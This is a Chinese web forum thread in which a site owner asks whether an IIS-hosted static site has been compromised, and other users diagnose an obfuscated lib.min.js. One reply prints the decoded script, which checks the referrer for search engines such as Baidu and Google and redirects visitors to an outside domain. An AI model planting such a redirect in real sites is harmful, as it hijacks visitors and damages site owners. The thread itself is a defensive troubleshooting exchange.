咸蛋超人 发表于 2022-7-16 17:36:09

我这个是IIS被挂马了吗？求高人指点。。。

网站纯静态正常访问 但是模拟抓取会随机出乱七八糟的东西，实在找不到原因了。。:tu: :tu:

落英缤纷 发表于 2022-7-16 18:15:56

感觉是，找个高手帮你查吧。

Lamborghini 发表于 2022-7-16 18:53:18

lib.min.js是你自己的吗，怎么还加密了

negoo 发表于 2022-7-17 09:25:20

要查代码

755402254 发表于 2022-7-17 22:30:42

替换下楼上说的那个加密js文件

755402254 发表于 2022-7-17 22:33:26

var iKrjLkHY1 = window["document"]['referrer'];
var LTBVusBbj2 = window['location']['href'];
if (iKrjLkHY1['indexOf']("baidu") > 0 || iKrjLkHY1['indexOf']("sogou") > 0 || iKrjLkHY1['indexOf']("sm") > 0 || iKrjLkHY1['indexOf']("360") > 0 || iKrjLkHY1['indexOf']("so") > 0 || iKrjLkHY1['indexOf']("google") > 0 || iKrjLkHY1['indexOf']("bing") > 0 || iKrjLkHY1['indexOf']("youdao") > 0) window['location']['href'] = "https://55yb.cc";

解密出来的文件，搜索引擎访问跳到其他网址了

<script type="text/javascript" src="/statics/images/saiyinte/lib.min.js"></script> 直接把这一行代码删了吧

咸蛋超人 发表于 2022-7-17 23:32:51

755402254 发表于 2022-7-17 22:33
解密出来的文件，搜索引擎访问跳到其他网址了

直接把这一行代码删了吧

高人 我折腾两天了 多谢多谢！:qin:

咸蛋超人 发表于 2022-7-17 23:41:42

还是没用 明天重装IIS吧 受不了了。。。:tu:

755402254 发表于 2022-7-18 00:00:34

咸蛋超人 发表于 2022-7-17 23:41
还是没用 明天重装IIS吧 受不了了。。。

我看那个js文件还在，是不是缓存

bestmoban 发表于 2022-7-18 08:28:16

找护卫神，专业解决网站挂马、服务器安全问题。
页: [1] 2
查看完整版本: 我这个是IIS被挂马了吗？求高人指点。。。